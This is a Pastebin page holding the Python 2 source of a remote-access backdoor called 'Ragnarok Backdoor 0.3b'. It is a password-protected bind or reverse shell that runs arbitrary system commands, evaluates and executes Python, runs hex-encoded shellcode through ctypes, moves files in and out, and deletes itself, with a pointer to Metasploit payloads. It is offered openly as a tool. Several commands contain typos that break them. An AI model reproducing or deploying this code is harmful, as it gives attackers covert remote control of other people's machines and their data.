Advertisement
EArthnuker

Project Infinity: Ragnarok Backdoor 0.3b

May 30th, 2012
1,176
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #BEGIN basic setup
  2. import os,socket,sys,binascii,ctypes,multiprocessing,time,subprocess,cmd
  3. inuse=1
  4. if not os.getcwd() in sys.argv[0]:
  5.         bdname=os.getcwd()+os.sep+sys.argv[0]
  6. else:
  7.         bdname=sys.argv[0]
  8. #END basic setup
  9.  
  10. #BEGIN config
  11. passwd="R4Gn4r0k"
  12. port=23
  13. ver="0.3b"
  14. ip='0.0.0.0'
  15. mode="bind"
  16. revtarget="127.0.0.1"
  17. #END config
  18.  
  19. #BEGIN socket setup
  20. if mode=="bind":
  21.         print "binding to socket..."
  22.         while inuse:
  23.                 try:
  24.                         bsock=socket.socket()
  25.                         bsock.bind((ip,port))
  26.                         inuse=0
  27.                 except socket.error as e:
  28.                         err=str(e)
  29.                         if "in use" in err:
  30.                                 inuse=1
  31.                         else:
  32.                                 raise
  33.                 time.sleep(0.1)
  34.         bsock.listen(0)
  35.         print "Ready"
  36. #END socket setup
  37.  
  38. #BEGIN commands
  39. class bdcmd(cmd.Cmd):
  40.  
  41.         #BEGIN sample function
  42.         #def do_bd_<function>(sef,args):
  43.         #       """<help string>"""
  44.         #       do_something()
  45.         #       return <something>
  46.         #END sample function
  47.  
  48.         def do_bd_abort(self,args):
  49.                 """crash backdoor"""
  50.                 os.abort()
  51.         def do_bd_kill(self,args):
  52.                 """terminate backdoor"""
  53.                 sock.close()
  54.                 exit(0)
  55.         def do_bd_rm(self,args):
  56.                 """delete backdoor from system"""
  57.                 os.system("del "+bdname)
  58.                 os.unlink(bdname)
  59.                 os.remove(bdname)
  60.                 return "backdoor removed"
  61.         def do_bd_sysinfo(self,args):
  62.                 """ge basic system info"""
  63.                 return "OS type: "+os.name+"\n"+\
  64.                 "Hostname: "+socket.gethostname()+"\n"+\
  65.                 "Path: "+os.defpath
  66.         def do_bd_scexec(self,sc):
  67.                 """try to execute shellcode in new thread, if that fails execute as main thread, killing backdoor"""
  68.                 shellcode=binascii.unhexlify(sc)
  69.                 sock.send("trying to execute shellcode in new thread...\n")
  70.                 scp=ctypes.cast(ctypes.create_string_buffer(shellcode, len(shellcode)), ctypes.CFUNCTYPE(ctypes.c_void_p))
  71.                 try:
  72.                         scexec=multiprocessing.Process(target=scp)
  73.                         scexec.start()
  74.                         return "shellcode executed"
  75.                 except ValueError:
  76.                         sock.send("Error! Running shellcode as main thread!\nterminating connection, goodbye!\n")
  77.                         sock.close()
  78.                         scp()
  79.         def do_bd_py(self,arg):
  80.                 """execute python code, return result"""
  81.                 try:
  82.                         return str(eval(arg))
  83.                 except:
  84.                         return "Error!"
  85.         def do_bd_pyx(self,arg):
  86.                 """execute python code (for importing modules)"""
  87.                 try:
  88.                         exec(arg)
  89.                         return
  90.                 except:
  91.                         return "Error!"
  92.         def do_bd_cd(self,cdir):
  93.                 """change diretory"""
  94.                 if cdir:
  95.                         try:
  96.                                 os.chdir(cmd.split(" ")[1].replace("\n",""))
  97.                                 return "cd: "+os.getcwd()
  98.                         except OSError:
  99.                                 return "Error!"
  100.                 else:
  101.                         return "cd: "+os.getcwd()
  102.         def do_bd_getenv(self,var):
  103.                 """get an environment varable"""
  104.                 try:
  105.                         return vat+"="+os.getenv(var)
  106.                 except TypeError:
  107.                         return "Error!"
  108.         def do_bd_hexul(self,args):
  109.                 """upload hex'd file"""
  110.                 filen=args.split(" ")[0]
  111.                 filecon=args.split(" ")[1]
  112.                 try:
  113.                         open(fike,"wb").write(binascii.unhexlify(filecon))
  114.                         return "Done!"
  115.                 except IOError:
  116.                         return "Error!"
  117.         def do_bd_hexdl(self,args):
  118.                 """convert file to hex and return contents"""
  119.                 try:
  120.                         return binascii.hexlify(open(args).read())
  121.                 except IOError:
  122.                         return "Error!"
  123.         def do_bd_about(self,args):
  124.                 """about"""
  125.                 return "Project Infinty: Ragnarok Backdoor v"+ver+"\n"+\
  126.                 "Coded by: Daniel Seiller\n"+\
  127.                 "Idea: Felix Stengel"
  128.         def do_bd_help(self,args):
  129.                 """display help"""
  130.                 try:
  131.                         return args+": "+eval("bdcmd.do_"+args+".__doc__")
  132.                 except AttributeError:
  133.                         return "aviable commands: "+", ".join(bdcmd.cmdlist)+"\n"\
  134.                                 "type 'bd_help <command>' to get more infos\n"\
  135.                                 "to convert metasploit payload to hex use:\n"\
  136.                                 "msfpayload <payload> <opts> R|python tohex.py"
  137.         def do_exit(self,args):
  138.                 """exit session"""
  139.                 return False
  140.         def do_help(self,args):
  141.                 """Out of Order"""
  142.                 return "use bd_help"
  143.         def do_exec(self,args):
  144.                 return os.system(args)
  145.         def default(self,args):
  146.                 return subprocess.Popen(args,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read().strip()
  147. #END commands
  148.  
  149. #BEGIN genearte cmdlist
  150. bdcmd.cmdlist=[]
  151. for cmd in dir(bdcmd):
  152.         if cmd.startswith("do_"):
  153.                 bdcmd.cmdlist.append(cmd.replace('do_',""))
  154. #END generate cmdlist
  155.  
  156. #BEGIN main loop
  157. while 1:
  158.         if mode=="bind":
  159.                 sock,addr=bsock.accept()
  160.         if mode=="reverse":
  161.                 connected=False
  162.                 while not connected:
  163.                         try:
  164.                                 sock=socket.socket()
  165.                                 sock.connect((revtarget,port))
  166.                                 connected=True
  167.                         except socket.error as e:
  168.                                 if "Connection refused" in e:
  169.                                         connected=False
  170.                                 elif "Bad file descriptor" in e:
  171.                                         sock.close()
  172.                                 else:
  173.                                         raise
  174.                         time.sleep(0.1)
  175.         sock.send("enter password:")
  176.         pw=sock.recv(1024).replace("\n","").replace("\r","")
  177.         if pw==passwd:
  178.                 sock.send("Project Infinity, Ragnarok Backdoor v"+ver+"\n")
  179.                 sock.send("type 'bd_help' for help\n")
  180.                 while 1:
  181.                         sock.send(socket.gethostname()+">")
  182.                         cmd=sock.recv(1024).replace("\n","").replace("\r","")
  183.                         if not cmd:
  184.                                 pass
  185.                         else:
  186.                                 rep=bdcmd().onecmd(cmd)
  187.                                 if rep:
  188.                                         sock.send(rep+"\n")
  189.                                 elif rep==False:
  190.                                         sock.close()
  191.                                         break
  192.         else:
  193.                 sock.send("Nice try!\n")
  194.                 sock.close()
  195. #END main loop
Advertisement
RAW Paste Data Copied
Advertisement